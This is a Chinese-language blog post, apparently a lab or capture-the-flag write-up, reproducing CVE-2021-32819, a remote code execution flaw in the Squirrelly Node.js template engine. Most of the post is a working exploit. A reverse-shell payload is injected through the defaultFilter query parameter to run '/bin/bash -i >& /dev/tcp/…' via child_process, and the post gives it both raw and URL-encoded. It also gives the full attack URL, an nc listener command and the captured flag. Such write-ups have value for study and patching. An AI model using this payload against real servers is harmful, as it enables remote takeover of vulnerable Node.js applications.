1、概述
Squirrelly 是一个用 JavaScript 实现的现代、可配置且速度极快的模板引擎。漏洞原因就是 Squirrelly 通过 Express 渲染 API 将纯模板数据与引擎配置选项混合。攻击者可以通过请求查询来覆盖并控制全局变量 defaultConfig (一组内部模板引擎配置选项)中的defaultFilter 属性。下游用户可能会无意中将不安全的行为引入他们的应用程序。该漏洞影响范围从跨站点脚本(XSS)到远程代码执行(RCE)(CVE-2021-32819)。
2、漏洞影响范围
影响版本:V8.0.0到V8.0.8
3、漏洞复现过程
我们先看下CVE的描述,在拿到一个漏洞复现的过程中需要查看漏洞细节,尽可能多的收集关于此漏洞的信息。
根据漏洞细节,我们获取到反弹shell的payload:
?defaultFilter=e'));let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c "/bin/bash -i >& /dev/tcp/vpn/端口 0>&1"');//
首先我们对payload的部分进行URL编码,这里反弹shell的IP以及端口都是VPS的。
e'));let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.174.131IP/1234 0>&1"');//
我们对以上payload进行URL编码
e%27%29%29%3Blet%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require%28%27child_process%27%29.exec%28%27/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.174.131/1234%200%3E%261%22%27%29%3B//
构造好payload之后我们先访问一下漏洞环境。
接着在VPS上开启监听
nc -lvp 1234
然后将上述的payload跟漏洞环境的URL进行拼接。本篇文章payload中的IP地址均是内网地址,在复现的时候需要将其替换为公网IP进行复现。
http://squirrelly_rce-ft432si.lab.aqlab.cn/?defaultFilter=e%27%29%29%3Blet%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require%28%27child_process%27%29.exec%28%27/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/192.168.174.131/1234%200%3E%261%22%27%29%3B//
然后访问上述URL。
最后再查看VPS,反弹shell成功。
根据环境提示,flag文件在/tmp/flag中,直接查看flag文件获取到了flag。
flag{d59362b6-3e73-4d49-b5cf-e4ed21665f03}
至此漏洞复现完毕。最近在备考就先写一些漏洞复现的文章吧。
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):Nodejs squirrelly模版引擎RCE